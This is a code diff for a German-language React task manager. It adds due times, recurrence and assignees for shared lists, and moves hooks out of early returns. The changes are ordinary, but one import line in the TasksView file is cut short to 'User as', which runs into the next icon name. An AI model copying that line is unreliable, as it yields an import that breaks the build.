// Wrapper and content split so the hooks always run in the same number (see TaskDetailModal)
|
||||||
|
export const ManageColumnsModal: React.FC<ManageColumnsModalProps> = (props) =>
|
||||||
|
props.isOpen ? <ManageColumnsModalContent {...props} /> : null;
|
||||||
|
|
||||||
|
const ManageColumnsModalContent: React.FC<ManageColumnsModalProps> = ({
|
||||||
isOpen,
|
isOpen,
|
||||||
onClose,
|
onClose,
|
||||||
initialColumns,
|
initialColumns,
|
||||||
onSave,
|
onSave,
|
||||||
listTitle,
|
listTitle,
|
||||||
}) => {
|
}) => {
|
||||||
if (!isOpen) return null;
|
|
||||||
|
|
||||||
const [columns, setColumns] = useState<KanbanColumn[]>(() => {
|
const [columns, setColumns] = useState<KanbanColumn[]>(() => {
|
||||||
return initialColumns && initialColumns.length > 0 ? initialColumns : DEFAULT_KANBAN_COLUMNS;
|
return initialColumns && initialColumns.length > 0 ? initialColumns : DEFAULT_KANBAN_COLUMNS;
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import React, { useState, useEffect } from 'react';
|
import React, { useState, useEffect, useCallback } from 'react';
|
||||||
import {
|
import {
|
||||||
X,
|
X,
|
||||||
Check,
|
Check,
|
||||||
@@ -7,19 +7,21 @@ import {
|
|||||||
FileText,
|
FileText,
|
||||||
Plus,
|
Plus,
|
||||||
CheckSquare,
|
CheckSquare,
|
||||||
Clock,
|
|
||||||
Layers,
|
|
||||||
Hash,
|
Hash,
|
||||||
AlertTriangle,
|
AlertTriangle,
|
||||||
Flame,
|
Flame,
|
||||||
ChevronRight,
|
|
||||||
Folder,
|
Folder,
|
||||||
Webhook,
|
Webhook,
|
||||||
Lock,
|
Lock,
|
||||||
|
UserPlus,
|
||||||
|
Repeat,
|
||||||
} from 'lucide-react';
|
} from 'lucide-react';
|
||||||
import { Thought, SubTask, TaskList, KanbanColumn } from '../../lib/types';
|
import { Thought, TaskList, TaskListMember, KanbanColumn, User, Recurrence } from '../../lib/types';
|
||||||
|
import { UserAvatar } from '../../components/UserAvatar';
|
||||||
|
import { UserAutocomplete } from '../UserAutocomplete';
|
||||||
import { triggerHaptic } from '../../lib/api';
|
import { triggerHaptic } from '../../lib/api';
|
||||||
import { MarkdownViewer } from '../../lib/markdown';
|
import { MarkdownViewer } from '../../lib/markdown';
|
||||||
|
import { addDays, joinDue, splitDue } from '../../lib/due';
|
||||||
|
|
||||||
interface TaskDetailModalProps {
|
interface TaskDetailModalProps {
|
||||||
task: Thought | null;
|
task: Thought | null;
|
||||||
@@ -31,9 +33,12 @@ interface TaskDetailModalProps {
|
|||||||
onUpdateStatus: (task: Thought, newStatus: string) => Promise<void>;
|
onUpdateStatus: (task: Thought, newStatus: string) => Promise<void>;
|
||||||
onUpdatePriority: (task: Thought, newPriority: string) => Promise<void>;
|
onUpdatePriority: (task: Thought, newPriority: string) => Promise<void>;
|
||||||
onUpdateDueDate: (task: Thought, newDueDate: string) => Promise<void>;
|
onUpdateDueDate: (task: Thought, newDueDate: string) => Promise<void>;
|
||||||
|
onUpdateRecurrence?: (task: Thought, recurrence: Recurrence) => Promise<void>;
|
||||||
onUpdateTaskList: (task: Thought, newListId: string) => Promise<void>;
|
onUpdateTaskList: (task: Thought, newListId: string) => Promise<void>;
|
||||||
onUpdateNotes: (task: Thought, newNotes: string) => Promise<void>;
|
onUpdateNotes: (task: Thought, newNotes: string) => Promise<void>;
|
||||||
onUpdateTags?: (task: Thought, newTags: string[]) => Promise<void>;
|
onUpdateTags?: (task: Thought, newTags: string[]) => Promise<void>;
|
||||||
|
assignableMembers?: TaskListMember[]; // empty unless the task's list is shared
|
||||||
|
onUpdateAssignees?: (task: Thought, assignees: string[]) => Promise<void>;
|
||||||
onToggleSubtask: (task: Thought, subtaskId: string) => Promise<void>;
|
onToggleSubtask: (task: Thought, subtaskId: string) => Promise<void>;
|
||||||
onAddSubtask: (task: Thought, title: string) => Promise<void>;
|
onAddSubtask: (task: Thought, title: string) => Promise<void>;
|
||||||
onDeleteSubtask: (task: Thought, subtaskId: string) => Promise<void>;
|
onDeleteSubtask: (task: Thought, subtaskId: string) => Promise<void>;
|
||||||
@@ -43,9 +48,13 @@ interface TaskDetailModalProps {
|
|||||||
readOnly?: boolean; // Task belongs to a list shared with "viewer" permission
|
readOnly?: boolean; // Task belongs to a list shared with "viewer" permission
|
||||||
}
|
}
|
||||||
|
|
||||||
export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
|
// The wrapper decides whether the dialog is shown; the content holds all hooks, so their number never
|
||||||
|
// changes between renders (hooks after an early return break React when isOpen flips)
|
||||||
|
export const TaskDetailModal: React.FC<TaskDetailModalProps> = (props) =>
|
||||||
|
props.isOpen && props.task ? <TaskDetailModalContent {...props} task={props.task} /> : null;
|
||||||
|
|
||||||
|
const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }> = ({
|
||||||
task,
|
task,
|
||||||
isOpen,
|
|
||||||
onClose,
|
onClose,
|
||||||
activeColumns,
|
activeColumns,
|
||||||
taskLists,
|
taskLists,
|
||||||
@@ -53,9 +62,12 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
|
|||||||
onUpdateStatus,
|
onUpdateStatus,
|
||||||
onUpdatePriority,
|
onUpdatePriority,
|
||||||
onUpdateDueDate,
|
onUpdateDueDate,
|
||||||
|
onUpdateRecurrence,
|
||||||
onUpdateTaskList,
|
onUpdateTaskList,
|
||||||
onUpdateNotes,
|
onUpdateNotes,
|
||||||
onUpdateTags,
|
onUpdateTags,
|
||||||
|
assignableMembers = [],
|
||||||
|
onUpdateAssignees,
|
||||||
onToggleSubtask,
|
onToggleSubtask,
|
||||||
onAddSubtask,
|
onAddSubtask,
|
||||||
onDeleteSubtask,
|
onDeleteSubtask,
|
||||||
@@ -64,13 +76,17 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
|
|||||||
onDeleteTask,
|
onDeleteTask,
|
||||||
readOnly = false,
|
readOnly = false,
|
||||||
}) => {
|
}) => {
|
||||||
if (!isOpen || !task) return null;
|
|
||||||
|
|
||||||
const [titleDraft, setTitleDraft] = useState(task.content);
|
const [titleDraft, setTitleDraft] = useState(task.content);
|
||||||
const [isEditingTitle, setIsEditingTitle] = useState(false);
|
const [isEditingTitle, setIsEditingTitle] = useState(false);
|
||||||
|
|
||||||
const [isEditingNotes, setIsEditingNotes] = useState(false);
|
const [isEditingNotes, setIsEditingNotes] = useState(false);
|
||||||
const [notesDraft, setNotesDraft] = useState(task.notes || '');
|
const [notesDraft, setNotesDraft] = useState(task.notes || '');
|
||||||
|
// The notes field grows with its text, so long notes scroll with the dialog instead of inside a small box
|
||||||
|
const growNotes = useCallback((el: HTMLTextAreaElement | null) => {
|
||||||
|
if (!el) return;
|
||||||
|
el.style.height = 'auto';
|
||||||
|
el.style.height = `${el.scrollHeight + 2}px`;
|
||||||
|
}, []);
|
||||||
|
|
||||||
const [newSubtaskTitle, setNewSubtaskTitle] = useState('');
|
const [newSubtaskTitle, setNewSubtaskTitle] = useState('');
|
||||||
const [newTagDraft, setNewTagDraft] = useState('');
|
const [newTagDraft, setNewTagDraft] = useState('');
|
||||||
@@ -127,7 +143,7 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
|
|||||||
|
|
||||||
const handleAddTagSubmit = async (e: React.FormEvent) => {
|
const handleAddTagSubmit = async (e: React.FormEvent) => {
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
let cleaned = newTagDraft.trim().replace(/^#+/, '').toLowerCase();
|
const cleaned = newTagDraft.trim().replace(/^#+/, '').toLowerCase();
|
||||||
if (!cleaned) return;
|
if (!cleaned) return;
|
||||||
const currentTags = Array.isArray(task.tags) ? [...task.tags] : [];
|
const currentTags = Array.isArray(task.tags) ? [...task.tags] : [];
|
||||||
if (!currentTags.includes(cleaned)) {
|
if (!currentTags.includes(cleaned)) {
|
||||||
@@ -149,22 +165,17 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const dueParts = splitDue(task.dueDate);
|
||||||
|
|
||||||
const handleQuickDueDate = (daysOffset: number | null) => {
|
const handleQuickDueDate = (daysOffset: number | null) => {
|
||||||
if (daysOffset === null) {
|
if (daysOffset === null) {
|
||||||
onUpdateDueDate(task, '');
|
onUpdateDueDate(task, '');
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
const d = new Date();
|
// Keep a chosen time when only the day changes
|
||||||
d.setDate(d.getDate() + daysOffset);
|
onUpdateDueDate(task, joinDue(addDays(daysOffset), splitDue(task.dueDate).time));
|
||||||
const dateStr = d.toISOString().split('T')[0];
|
|
||||||
onUpdateDueDate(task, dateStr);
|
|
||||||
};
|
};
|
||||||
|
|
||||||
const currentColumn = activeColumns.find((c) => c.id === task.kanbanStatus) ||
|
|
||||||
(task.isCompleted
|
|
||||||
? activeColumns.find((c) => c.isDone) || activeColumns[activeColumns.length - 1]
|
|
||||||
: activeColumns.find((c) => !c.isDone) || activeColumns[0]);
|
|
||||||
|
|
||||||
const subtasks = Array.isArray(task.subtasks) ? task.subtasks : [];
|
const subtasks = Array.isArray(task.subtasks) ? task.subtasks : [];
|
||||||
const completedSubtasks = subtasks.filter((s) => s.isCompleted).length;
|
const completedSubtasks = subtasks.filter((s) => s.isCompleted).length;
|
||||||
const subtasksPercent = subtasks.length > 0 ? Math.round((completedSubtasks / subtasks.length) * 100) : 0;
|
const subtasksPercent = subtasks.length > 0 ? Math.round((completedSubtasks / subtasks.length) * 100) : 0;
|
||||||
@@ -172,7 +183,7 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
|
|||||||
return (
|
return (
|
||||||
<div className="fixed inset-0 !m-0 modal-overlay z-50 flex items-center justify-center p-3 sm:p-4 overflow-y-auto">
|
<div className="fixed inset-0 !m-0 modal-overlay z-50 flex items-center justify-center p-3 sm:p-4 overflow-y-auto">
|
||||||
<div
|
<div
|
||||||
className="w-full max-w-2xl panel-surface shadow-panel border border-border my-auto flex flex-col max-h-[92vh] overflow-hidden"
|
className="w-full max-w-2xl panel-surface shadow-panel border border-border my-auto flex flex-col max-h-[92vh] max-h-[92dvh] overflow-hidden"
|
||||||
onClick={(e) => e.stopPropagation()}
|
onClick={(e) => e.stopPropagation()}
|
||||||
>
|
>
|
||||||
{/* Top Header */}
|
{/* Top Header */}
|
||||||
@@ -272,7 +283,9 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Scrollable Body (all controls disabled for read-only shares) */}
|
{/* Scrollable Body (all controls disabled for read-only shares) */}
|
||||||
<fieldset disabled={readOnly} className="p-4 overflow-y-auto space-y-4 flex-1 min-w-0 border-0 m-0">
|
{/* The scroll container is a div: a scrolling <fieldset> is unreliable in mobile browsers */}
|
||||||
|
<div className="flex-1 min-h-0 overflow-y-auto overscroll-contain [-webkit-overflow-scrolling:touch]">
|
||||||
|
<fieldset disabled={readOnly} className="p-4 space-y-4 min-w-0 border-0 m-0">
|
||||||
{/* Task Title */}
|
{/* Task Title */}
|
||||||
<div>
|
<div>
|
||||||
{isEditingTitle ? (
|
{isEditingTitle ? (
|
||||||
@@ -451,21 +464,32 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
|
|||||||
<div className="space-y-1.5">
|
<div className="space-y-1.5">
|
||||||
<label className="block text-xs font-semibold text-main flex items-center gap-1">
|
<label className="block text-xs font-semibold text-main flex items-center gap-1">
|
||||||
<Calendar className="w-3.5 h-3.5 text-accent" />
|
<Calendar className="w-3.5 h-3.5 text-accent" />
|
||||||
<span>Fälligkeitsdatum:</span>
|
<span>Fällig:</span>
|
||||||
</label>
|
</label>
|
||||||
<div className="flex items-center gap-1.5">
|
<div className="flex items-center gap-1.5">
|
||||||
<input
|
<input
|
||||||
type="date"
|
type="date"
|
||||||
value={task.dueDate || ''}
|
aria-label="Fälligkeitsdatum"
|
||||||
onChange={(e) => onUpdateDueDate(task, e.target.value)}
|
value={dueParts.date}
|
||||||
className="flex-1 h-8 input-field px-2 text-xs bg-panel"
|
onChange={(e) => onUpdateDueDate(task, joinDue(e.target.value, dueParts.time))}
|
||||||
|
className="flex-1 min-w-0 h-11 sm:h-8 input-field px-2 text-base sm:text-xs bg-panel"
|
||||||
|
/>
|
||||||
|
<input
|
||||||
|
type="time"
|
||||||
|
aria-label="Uhrzeit (optional)"
|
||||||
|
title="Uhrzeit (optional) – ohne Uhrzeit gilt die Aufgabe den ganzen Tag"
|
||||||
|
value={dueParts.time}
|
||||||
|
disabled={!dueParts.date}
|
||||||
|
onChange={(e) => onUpdateDueDate(task, joinDue(dueParts.date, e.target.value))}
|
||||||
|
className="w-[7.5rem] shrink-0 h-11 sm:h-8 input-field px-2 text-base sm:text-xs bg-panel disabled:opacity-50"
|
||||||
/>
|
/>
|
||||||
{task.dueDate && (
|
{task.dueDate && (
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
onClick={() => onUpdateDueDate(task, '')}
|
onClick={() => onUpdateDueDate(task, '')}
|
||||||
className="btn-action h-8 px-2 text-xs text-muted hover:text-status-err"
|
className="btn-action h-11 w-11 sm:h-8 sm:w-8 flex items-center justify-center text-muted hover:text-status-err shrink-0"
|
||||||
title="Datum entfernen"
|
title="Fälligkeit entfernen"
|
||||||
|
aria-label="Fälligkeit entfernen"
|
||||||
>
|
>
|
||||||
<X className="w-3.5 h-3.5" />
|
<X className="w-3.5 h-3.5" />
|
||||||
</button>
|
</button>
|
||||||
@@ -493,7 +517,44 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
|
|||||||
>
|
>
|
||||||
+1 Woche
|
+1 Woche
|
||||||
</button>
|
</button>
|
||||||
|
{dueParts.time && (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => onUpdateDueDate(task, dueParts.date)}
|
||||||
|
className="px-1.5 py-0.5 bg-canvas border border-border rounded-btn text-muted hover:text-main inline-flex items-center gap-1"
|
||||||
|
title="Uhrzeit entfernen – die Aufgabe gilt dann den ganzen Tag"
|
||||||
|
>
|
||||||
|
<X className="w-2.5 h-2.5" />
|
||||||
|
Uhrzeit
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
{onUpdateRecurrence && (
|
||||||
|
<div className="pt-1">
|
||||||
|
<label className="flex items-center gap-1 text-[11px] text-muted mb-1">
|
||||||
|
<Repeat className="w-3 h-3 text-accent" />
|
||||||
|
<span>Wiederholung</span>
|
||||||
|
</label>
|
||||||
|
<select
|
||||||
|
value={task.recurrence || ''}
|
||||||
|
disabled={readOnly}
|
||||||
|
onChange={(e) => onUpdateRecurrence(task, e.target.value as Recurrence)}
|
||||||
|
className="w-full h-11 sm:h-8 input-field px-2 text-base sm:text-xs bg-panel"
|
||||||
|
>
|
||||||
|
<option value="">Keine Wiederholung</option>
|
||||||
|
<option value="daily">🔁 Täglich</option>
|
||||||
|
<option value="weekly">🔁 Wöchentlich</option>
|
||||||
|
<option value="monthly">🔁 Monatlich</option>
|
||||||
|
<option value="yearly">🔁 Jährlich</option>
|
||||||
|
</select>
|
||||||
|
{task.recurrence && (
|
||||||
|
<p className="text-[10px] text-faint mt-1">
|
||||||
|
Beim Erledigen entsteht automatisch die nächste Aufgabe, fällig{' '}
|
||||||
|
{task.dueDate ? 'ein Intervall nach diesem Datum' : 'ein Intervall nach dem Erledigen'}.
|
||||||
|
</p>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Task List assignment */}
|
{/* Task List assignment */}
|
||||||
@@ -517,6 +578,65 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{/* Assignees (shared lists only): chips + the shared type-to-search */}
|
||||||
|
{assignableMembers.length > 0 && (() => {
|
||||||
|
const assigned = (task.assignees || [])
|
||||||
|
.map((id) => assignableMembers.find((m) => m.userId === id))
|
||||||
|
.filter((m): m is TaskListMember => !!m);
|
||||||
|
const assignedIds = assigned.map((m) => m.userId);
|
||||||
|
const candidates: User[] = assignableMembers.map((m) => ({
|
||||||
|
id: m.userId,
|
||||||
|
email: m.email,
|
||||||
|
displayName: m.displayName,
|
||||||
|
avatarUrl: m.avatarUrl,
|
||||||
|
role: 'member',
|
||||||
|
isActive: true,
|
||||||
|
createdAt: '',
|
||||||
|
}));
|
||||||
|
return (
|
||||||
|
<div className="space-y-1.5 pt-1 border-t border-border">
|
||||||
|
<label className="block text-xs font-semibold text-main flex items-center gap-1">
|
||||||
|
<UserPlus className="w-3.5 h-3.5 text-accent" />
|
||||||
|
<span>Zugewiesen:</span>
|
||||||
|
</label>
|
||||||
|
{assigned.length > 0 ? (
|
||||||
|
<div className="flex flex-wrap items-center gap-1.5">
|
||||||
|
{assigned.map((m) => (
|
||||||
|
<span
|
||||||
|
key={m.userId}
|
||||||
|
className="inline-flex items-center gap-1.5 pl-0.5 pr-2 py-0.5 rounded-pill bg-panel border border-border text-xs text-main"
|
||||||
|
>
|
||||||
|
<UserAvatar name={m.displayName || m.email} avatarUrl={m.avatarUrl || ''} size="xxs" showTitle={false} />
|
||||||
|
<span>{m.displayName || m.email}</span>
|
||||||
|
{!readOnly && onUpdateAssignees && (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => onUpdateAssignees(task, assignedIds.filter((id) => id !== m.userId))}
|
||||||
|
className="text-muted hover:text-status-err"
|
||||||
|
title="Zuweisung entfernen"
|
||||||
|
>
|
||||||
|
<X className="w-3 h-3" />
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
</span>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
readOnly && <p className="text-xs text-muted">Niemandem zugewiesen</p>
|
||||||
|
)}
|
||||||
|
{!readOnly && onUpdateAssignees && assigned.length < assignableMembers.length && (
|
||||||
|
<UserAutocomplete
|
||||||
|
users={candidates}
|
||||||
|
selectedUser={null}
|
||||||
|
onSelectUser={(u) => u && onUpdateAssignees(task, [...assignedIds, u.id])}
|
||||||
|
excludeUserIds={assignedIds}
|
||||||
|
placeholder="Person zuweisen (Name tippen)…"
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
})()}
|
||||||
|
|
||||||
{/* Hashtags Section */}
|
{/* Hashtags Section */}
|
||||||
<div className="space-y-1.5 pt-1 border-t border-border">
|
<div className="space-y-1.5 pt-1 border-t border-border">
|
||||||
<label className="block text-xs font-semibold text-main flex items-center gap-1">
|
<label className="block text-xs font-semibold text-main flex items-center gap-1">
|
||||||
@@ -672,7 +792,9 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
|
|||||||
placeholder="Detailnotizen eingeben… (Markdown unterstützt)"
|
placeholder="Detailnotizen eingeben… (Markdown unterstützt)"
|
||||||
rows={6}
|
rows={6}
|
||||||
autoFocus
|
autoFocus
|
||||||
className="w-full input-field p-2.5 text-xs font-mono leading-relaxed resize-y min-h-[100px]"
|
ref={growNotes}
|
||||||
|
onInput={(e) => growNotes(e.currentTarget)}
|
||||||
|
className="w-full input-field p-2.5 text-xs font-mono leading-relaxed resize-none min-h-[100px] overflow-hidden"
|
||||||
/>
|
/>
|
||||||
<div className="flex justify-end gap-1.5">
|
<div className="flex justify-end gap-1.5">
|
||||||
<button
|
<button
|
||||||
@@ -725,6 +847,7 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
|
|||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
</fieldset>
|
</fieldset>
|
||||||
|
</div>
|
||||||
|
|
||||||
{/* Modal Footer */}
|
{/* Modal Footer */}
|
||||||
<div className="flex items-center justify-between px-4 py-2.5 border-t border-border bg-panel">
|
<div className="flex items-center justify-between px-4 py-2.5 border-t border-border bg-panel">
|
||||||
|
|||||||
@@ -15,40 +15,35 @@ import {
|
|||||||
Layers,
|
Layers,
|
||||||
Users,
|
Users,
|
||||||
CheckSquare,
|
CheckSquare,
|
||||||
User as UserIcon,
|
User as
|
||||||
Lock,
|
Lock,
|
||||||
Hash,
|
Hash,
|
||||||
AlertTriangle,
|
AlertTriangle,
|
||||||
Flame,
|
Flame,
|
||||||
Settings,
|
Settings,
|
||||||
ChevronDown,
|
|
||||||
Folder,
|
Folder,
|
||||||
Filter,
|
Filter,
|
||||||
Webhook,
|
Webhook,
|
||||||
|
Repeat,
|
||||||
} from 'lucide-react';
|
} from 'lucide-react';
|
||||||
import { TaskList, Thought, SubTask, Team, User, TaskListShare, KanbanColumn, PriorityLevel } from '../../lib/types';
|
import { TaskList, Thought, SubTask, Team, User, TaskListMember, KanbanColumn, PriorityLevel, Recurrence, RECURRENCE_LABELS } from '../../lib/types';
|
||||||
|
import { formatDue, isDueToday, isOverdue, localDay, splitDue } from '../../lib/due';
|
||||||
import { api, triggerHaptic } from '../../lib/api';
|
import { api, triggerHaptic } from '../../lib/api';
|
||||||
import { UnifiedShareModal } from '../../components/UnifiedShareModal';
|
import { UnifiedShareModal } from '../../components/UnifiedShareModal';
|
||||||
import { TaskDetailModal } from './TaskDetailModal';
|
import { TaskDetailModal } from './TaskDetailModal';
|
||||||
import { ManageColumnsModal, DEFAULT_KANBAN_COLUMNS } from './ManageColumnsModal';
|
import { ManageColumnsModal, DEFAULT_KANBAN_COLUMNS } from './ManageColumnsModal';
|
||||||
import { UserAutocomplete } from '../UserAutocomplete';
|
import { AvatarStack, AvatarPerson } from '../../components/AvatarStack';
|
||||||
|
import { CountBadge } from '../../components/CountBadge';
|
||||||
|
import { FormSheet } from '../../components/FormSheet';
|
||||||
import { useMobileActions } from '../../context/MobileActionContext';
|
import { useMobileActions } from '../../context/MobileActionContext';
|
||||||
|
|
||||||
const getInitials = (name?: string): string => {
|
|
||||||
if (!name) return '?';
|
|
||||||
const parts = name.trim().split(/\s+/);
|
|
||||||
if (parts.length >= 2) {
|
|
||||||
return (parts[0][0] + parts[1][0]).toUpperCase();
|
|
||||||
}
|
|
||||||
return name.slice(0, 2).toUpperCase();
|
|
||||||
};
|
|
||||||
|
|
||||||
interface TasksViewProps {
|
interface TasksViewProps {
|
||||||
currentUser?: User | null;
|
currentUser?: User | null;
|
||||||
onRefreshStats: () => void;
|
onRefreshStats: () => void;
|
||||||
onOpenDocument: (docId: string, blockId?: string) => void;
|
onOpenDocument: (docId: string, blockId?: string) => void;
|
||||||
refreshTrigger?: number;
|
refreshTrigger?: number;
|
||||||
initialSelectedTaskId?: string | null;
|
initialSelectedTaskId?: string | null;
|
||||||
|
openTasksCount?: number; // all open tasks incl. shared lists (same as the nav bar counter)
|
||||||
}
|
}
|
||||||
|
|
||||||
export const TasksView: React.FC<TasksViewProps> = ({
|
export const TasksView: React.FC<TasksViewProps> = ({
|
||||||
@@ -57,6 +52,7 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
|||||||
onOpenDocument,
|
onOpenDocument,
|
||||||
refreshTrigger = 0,
|
refreshTrigger = 0,
|
||||||
initialSelectedTaskId,
|
initialSelectedTaskId,
|
||||||
|
openTasksCount,
|
||||||
}) => {
|
}) => {
|
||||||
const [viewMode, setViewMode] = useState<'list' | 'kanban'>('list');
|
const [viewMode, setViewMode] = useState<'list' | 'kanban'>('list');
|
||||||
const [filter, setFilter] = useState<'open' | 'done' | 'discarded'>('open');
|
const [filter, setFilter] = useState<'open' | 'done' | 'discarded'>('open');
|
||||||
@@ -95,10 +91,6 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
|||||||
// Share TaskList modal state
|
// Share TaskList modal state
|
||||||
const [showShareListModal, setShowShareListModal] = useState(false);
|
const [showShareListModal, setShowShareListModal] = useState(false);
|
||||||
const [sharingTaskList, setSharingTaskList] = useState<TaskList | null>(null);
|
const [sharingTaskList, setSharingTaskList] = useState<TaskList | null>(null);
|
||||||
const [addShareType, setAddShareType] = useState<'team' | 'user'>('team');
|
|
||||||
const [selectedShareTargetId, setSelectedShareTargetId] = useState('');
|
|
||||||
const [selectedShareUser, setSelectedShareUser] = useState<User | null>(null);
|
|
||||||
const [shareLoading, setShareLoading] = useState(false);
|
|
||||||
|
|
||||||
// Detail modal state
|
// Detail modal state
|
||||||
const [detailTaskId, setDetailTaskId] = useState<string | null>(null);
|
const [detailTaskId, setDetailTaskId] = useState<string | null>(null);
|
||||||
@@ -134,16 +126,25 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
|||||||
const [groupBy, setGroupBy] = useState<'none' | 'tag' | 'status' | 'priority' | 'due'>('none');
|
const [groupBy, setGroupBy] = useState<'none' | 'tag' | 'status' | 'priority' | 'due'>('none');
|
||||||
const [sortBy, setSortBy] = useState<'custom' | 'created' | 'due' | 'priority' | 'alpha'>('custom');
|
const [sortBy, setSortBy] = useState<'custom' | 'created' | 'due' | 'priority' | 'alpha'>('custom');
|
||||||
|
|
||||||
|
// Reloads happen after almost every action and on realtime events. Only the first load of a list shows
|
||||||
|
// the loading placeholder: replacing the rendered list on every reload swallowed clicks and taps that
|
||||||
|
// happened to fall into the reload (press and release then hit different elements).
|
||||||
|
const loadedListRef = useRef<string | null>(null);
|
||||||
|
const loadSeqRef = useRef(0);
|
||||||
const loadData = async () => {
|
const loadData = async () => {
|
||||||
setLoading(true);
|
const seq = ++loadSeqRef.current;
|
||||||
|
const listId = selectedListId;
|
||||||
|
if (loadedListRef.current !== listId) setLoading(true);
|
||||||
try {
|
try {
|
||||||
const [allTasks, allLists, allTeams, allCollabs, allDiscarded] = await Promise.all([
|
const [allTasks, allLists, allTeams, allCollabs, allDiscarded] = await Promise.all([
|
||||||
api.getTasks(selectedListId === 'all' ? undefined : selectedListId).catch(() => []),
|
api.getTasks(listId === 'all' ? undefined : listId).catch(() => []),
|
||||||
api.getTaskLists().catch(() => []),
|
api.getTaskLists().catch(() => []),
|
||||||
api.getUserTeams().catch(() => []),
|
api.getUserTeams().catch(() => []),
|
||||||
api.getCollaborators().catch(() => []),
|
api.getCollaborators().catch(() => []),
|
||||||
api.getThoughts('discarded').catch(() => []),
|
api.getThoughts('discarded').catch(() => []),
|
||||||
]);
|
]);
|
||||||
|
if (seq !== loadSeqRef.current) return; // a newer reload is under way
|
||||||
|
loadedListRef.current = listId;
|
||||||
setTasks(Array.isArray(allTasks) ? allTasks : []);
|
setTasks(Array.isArray(allTasks) ? allTasks : []);
|
||||||
setTaskLists(Array.isArray(allLists) ? allLists : []);
|
setTaskLists(Array.isArray(allLists) ? allLists : []);
|
||||||
setTeams(Array.isArray(allTeams) ? allTeams : []);
|
setTeams(Array.isArray(allTeams) ? allTeams : []);
|
||||||
@@ -152,7 +153,7 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
|||||||
} catch {
|
} catch {
|
||||||
// Prevent unhandled promise rejection from crashing view
|
// Prevent unhandled promise rejection from crashing view
|
||||||
} finally {
|
} finally {
|
||||||
setLoading(false);
|
if (seq === loadSeqRef.current) setLoading(false);
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -236,6 +237,42 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
|||||||
const isTaskReadOnly = (task: Thought) =>
|
const isTaskReadOnly = (task: Thought) =>
|
||||||
!!task.taskListId && safeTaskLists.find((l) => l.id === task.taskListId)?.permission === 'viewer';
|
!!task.taskListId && safeTaskLists.find((l) => l.id === task.taskListId)?.permission === 'viewer';
|
||||||
|
|
||||||
|
// Assigning only makes sense in shared lists (someone besides the owner); members also filter out
|
||||||
|
// assignees who lost access before the task payload caught up
|
||||||
|
const membersByList = useMemo(() => {
|
||||||
|
const m = new Map<string, TaskListMember[]>();
|
||||||
|
for (const tl of safeTaskLists) m.set(tl.id, tl.members || []);
|
||||||
|
return m;
|
||||||
|
}, [safeTaskLists]);
|
||||||
|
const assignableMembers = (task: Thought): TaskListMember[] => {
|
||||||
|
const members = (task.taskListId && membersByList.get(task.taskListId)) || [];
|
||||||
|
return members.length > 1 ? members : [];
|
||||||
|
};
|
||||||
|
const memberToPerson = (m: TaskListMember): AvatarPerson => ({
|
||||||
|
id: m.userId,
|
||||||
|
name: m.displayName || m.email,
|
||||||
|
avatarUrl: m.avatarUrl,
|
||||||
|
});
|
||||||
|
const getAssigneePeople = (task: Thought): AvatarPerson[] => {
|
||||||
|
const members = assignableMembers(task);
|
||||||
|
return (task.assignees || [])
|
||||||
|
.map((id) => members.find((m) => m.userId === id))
|
||||||
|
.filter((m): m is TaskListMember => !!m)
|
||||||
|
.map(memberToPerson);
|
||||||
|
};
|
||||||
|
const renderAssignees = (task: Thought, size: 'xxs' | 'xs') => {
|
||||||
|
const people = getAssigneePeople(task);
|
||||||
|
if (people.length === 0) return null;
|
||||||
|
return (
|
||||||
|
<AvatarStack
|
||||||
|
people={people}
|
||||||
|
size={size}
|
||||||
|
ringClass="ring-[var(--bg-panel)]"
|
||||||
|
title={`Zugewiesen: ${people.map((p) => p.name).join(', ')}`}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
// Active Kanban Columns (from selected list, or global custom, or default)
|
// Active Kanban Columns (from selected list, or global custom, or default)
|
||||||
const activeColumns: KanbanColumn[] = useMemo(() => {
|
const activeColumns: KanbanColumn[] = useMemo(() => {
|
||||||
if (
|
if (
|
||||||
@@ -375,10 +412,11 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
|||||||
if (high.length > 0) groups.push({ key: 'p:high', title: '⚠️ Wichtig', count: high.length, tasks: high });
|
